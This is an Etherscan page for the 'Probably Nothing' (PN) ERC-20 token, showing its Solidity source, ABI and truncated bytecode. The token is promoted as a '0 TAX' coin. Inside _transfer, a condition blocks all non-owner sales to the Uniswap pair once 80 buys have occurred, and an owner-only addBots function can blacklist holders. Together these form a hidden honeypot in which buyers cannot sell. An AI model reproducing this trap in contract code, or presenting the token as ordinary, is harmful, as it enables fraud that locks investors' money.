Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 PN
Holders
50
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,658.665934578 PNValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TehRocket
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-01 */ /** Probably Nothing 0 TAX | ERC20 | Probably Nothing **/ pragma solidity 0.8.15; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TehRocket is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; address payable private _taxWallet; uint256 private _initialTax=0; uint256 private _finalTax=0; uint256 private _reduceTaxAt=0; uint256 private _preventSwapBefore=0; uint256 public _buyCount=0; uint8 private constant _decimals = 9; uint256 public constant _tTotal = 1000000 * 10**_decimals; string public constant _name = unicode"Probably Nothing"; string public constant _symbol = unicode"PN"; uint256 public _maxTxAmount = 20000 * 10**_decimals; uint256 public _maxWalletSize = 20000 * 10**_decimals; uint256 public _taxSwapThreshold=5000 * 10**_decimals; uint256 public _maxTaxSwap=20000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if(!inSwap){ taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100); } if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } if(to==uniswapV2Pair){require(_buyCount<80) ; } } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } } function min(uint256 a, uint256 b) private view returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } receive() external payable {} function manualSwap() external { uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600660006101000a81548160ff0219169083151502179055506000600755600060085560006009556000600a556000600b556009600a62000048919062000616565b614e2062000057919062000667565b600c556009600a6200006a919062000616565b614e2062000079919062000667565b600d556009600a6200008c919062000616565b6113886200009b919062000667565b600e556009600a620000ae919062000616565b614e20620000bd919062000667565b600f556000601160156101000a81548160ff0219169083151502179055506000601160166101000a81548160ff0219169083151502179055503480156200010357600080fd5b506000620001166200044b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001c46200044b60201b60201c565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000214919062000616565b620f424062000224919062000667565b60016000620002386200044b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200028c6200045360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003bf6200044b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200041e919062000616565b620f42406200042e919062000667565b6040516200043d9190620006d9565b60405180910390a3620006f6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200050a57808604811115620004e257620004e16200047c565b5b6001851615620004f25780820291505b80810290506200050285620004ab565b9450620004c2565b94509492505050565b600082620005255760019050620005f8565b81620005355760009050620005f8565b81600181146200054e576002811462000559576200058f565b6001915050620005f8565b60ff8411156200056e576200056d6200047c565b5b8360020a9150848211156200058857620005876200047c565b5b50620005f8565b5060208310610133831016604e8410600b8410161715620005c95782820a905083811115620005c357620005c26200047c565b5b620005f8565b620005d88484846001620004b8565b92509050818404811115620005f257620005f16200047c565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200062382620005ff565b9150620006308362000609565b92506200065f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000513565b905092915050565b60006200067482620005ff565b91506200068183620005ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006bd57620006bc6200047c565b5b828202905092915050565b620006d381620005ff565b82525050565b6000602082019050620006f06000830184620006c8565b92915050565b6136f880620007066000396000f3fe6080604052600436106101855760003560e01c80637d1db4a5116100d1578063b09f12661161008a578063c9567bf911610064578063c9567bf91461055f578063d28d885214610576578063d34628cc146105a1578063dd62ed3e146105ca5761018c565b8063b09f1266146104de578063bf474bed14610509578063c876d0b9146105345761018c565b80637d1db4a5146103ca5780638da5cb5b146103f55780638f9a55c01461042057806395d89b411461044b578063a9059cbb14610476578063af465a27146104b35761018c565b8063313ce5671161013e57806351bc3c851161011857806351bc3c851461034857806370a082311461035f578063715018a61461039c578063751039fc146103b35761018c565b8063313ce567146102b757806331c2d847146102e25780633bbac5791461030b5761018c565b806306fdde0314610191578063095ea7b3146101bc5780630faee56f146101f957806318160ddd1461022457806323b872dd1461024f57806327b1a8e91461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610607565b6040516101b391906125c3565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061268d565b610644565b6040516101f091906126e8565b60405180910390f35b34801561020557600080fd5b5061020e610662565b60405161021b9190612712565b60405180910390f35b34801561023057600080fd5b50610239610668565b6040516102469190612712565b60405180910390f35b34801561025b57600080fd5b506102766004803603810190610271919061272d565b61068b565b60405161028391906126e8565b60405180910390f35b34801561029857600080fd5b506102a1610764565b6040516102ae9190612712565b60405180910390f35b3480156102c357600080fd5b506102cc61076a565b6040516102d9919061279c565b60405180910390f35b3480156102ee57600080fd5b50610309600480360381019061030491906128ff565b610773565b005b34801561031757600080fd5b50610332600480360381019061032d9190612948565b61089d565b60405161033f91906126e8565b60405180910390f35b34801561035457600080fd5b5061035d6108f3565b005b34801561036b57600080fd5b5061038660048036038101906103819190612948565b61092f565b6040516103939190612712565b60405180910390f35b3480156103a857600080fd5b506103b1610978565b005b3480156103bf57600080fd5b506103c8610acb565b005b3480156103d657600080fd5b506103df610c13565b6040516103ec9190612712565b60405180910390f35b34801561040157600080fd5b5061040a610c19565b6040516104179190612984565b60405180910390f35b34801561042c57600080fd5b50610435610c42565b6040516104429190612712565b60405180910390f35b34801561045757600080fd5b50610460610c48565b60405161046d91906125c3565b60405180910390f35b34801561048257600080fd5b5061049d6004803603810190610498919061268d565b610c85565b6040516104aa91906126e8565b60405180910390f35b3480156104bf57600080fd5b506104c8610ca3565b6040516104d59190612712565b60405180910390f35b3480156104ea57600080fd5b506104f3610cc2565b60405161050091906125c3565b60405180910390f35b34801561051557600080fd5b5061051e610cfb565b60405161052b9190612712565b60405180910390f35b34801561054057600080fd5b50610549610d01565b60405161055691906126e8565b60405180910390f35b34801561056b57600080fd5b50610574610d14565b005b34801561058257600080fd5b5061058b61124b565b60405161059891906125c3565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c391906128ff565b611284565b005b3480156105d657600080fd5b506105f160048036038101906105ec919061299f565b6113ae565b6040516105fe9190612712565b60405180910390f35b60606040518060400160405280601081526020017f50726f6261626c79204e6f7468696e6700000000000000000000000000000000815250905090565b6000610658610651611435565b848461143d565b6001905092915050565b600f5481565b60006009600a6106789190612b41565b620f42406106869190612b8c565b905090565b6000610698848484611606565b610759846106a4611435565b6107548560405180606001604052806028815260200161369b60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061070a611435565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff99092919063ffffffff16565b61143d565b600190509392505050565b600b5481565b60006009905090565b61077b611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ff90612c32565b60405180910390fd5b60005b81518110156108995760006004600084848151811061082d5761082c612c52565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061089190612c81565b91505061080b565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006108fe3061092f565b90506000811115610913576109128161205d565b5b6000479050600081111561092b5761092a816122d6565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610980611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0490612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ad3611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5790612c32565b60405180910390fd5b6009600a610b6e9190612b41565b620f4240610b7c9190612b8c565b600c819055506009600a610b909190612b41565b620f4240610b9e9190612b8c565b600d819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610bee9190612b41565b620f4240610bfc9190612b8c565b604051610c099190612712565b60405180910390a1565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600281526020017f504e000000000000000000000000000000000000000000000000000000000000815250905090565b6000610c99610c92611435565b8484611606565b6001905092915050565b6009600a610cb19190612b41565b620f4240610cbf9190612b8c565b81565b6040518060400160405280600281526020017f504e00000000000000000000000000000000000000000000000000000000000081525081565b600e5481565b600660009054906101000a900460ff1681565b610d1c611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da090612c32565b60405180910390fd5b601160149054906101000a900460ff1615610df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df090612d15565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e839190612b41565b620f4240610e919190612b8c565b61143d565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f279190612d4a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd49190612d4a565b6040518363ffffffff1660e01b8152600401610ff1929190612d77565b6020604051808303816000875af1158015611010573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110349190612d4a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110bd3061092f565b6000806110c8610c19565b426040518863ffffffff1660e01b81526004016110ea96959493929190612de5565b60606040518083038185885af1158015611108573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112d9190612e5b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611205929190612eae565b6020604051808303816000875af1158015611224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112489190612f03565b50565b6040518060400160405280601081526020017f50726f6261626c79204e6f7468696e670000000000000000000000000000000081525081565b61128c611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612c32565b60405180910390fd5b60005b81518110156113aa5760016004600084848151811061133e5761133d612c52565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113a290612c81565b91505061131c565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390612fa2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151290613034565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f99190612712565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906130c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db90613158565b60405180910390fd5b60008111611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171e906131ea565b60405180910390fd5b6000611731610c19565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561179f575061176f610c19565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d3c57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118485750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185157600080fd5b601160159054906101000a900460ff166118a4576118a16064611893600954600b541161188057600754611884565b6008545b8561234290919063ffffffff16565b6123bc90919063ffffffff16565b90505b600660009054906101000a900460ff1615611a3157601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119655750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a305743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e2906132a2565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611adc5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b325750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bed57600c54821115611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061330e565b60405180910390fd5b600d5482611b898561092f565b611b93919061332e565b1115611bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcb906133d0565b60405180910390fd5b600b6000815480929190611be790612c81565b91905055505b6000611bf83061092f565b9050601160159054906101000a900460ff16158015611c655750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7d5750601160169054906101000a900460ff165b8015611c8a5750600e5481115b8015611c995750600a54600b54115b15611cd557611cbb611cb684611cb184600f54612406565b612406565b61205d565b60004790506000811115611cd357611cd2476122d6565b5b505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d3a576050600b5410611d3957600080fd5b5b505b611d8e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e35611de7828461241f90919063fffff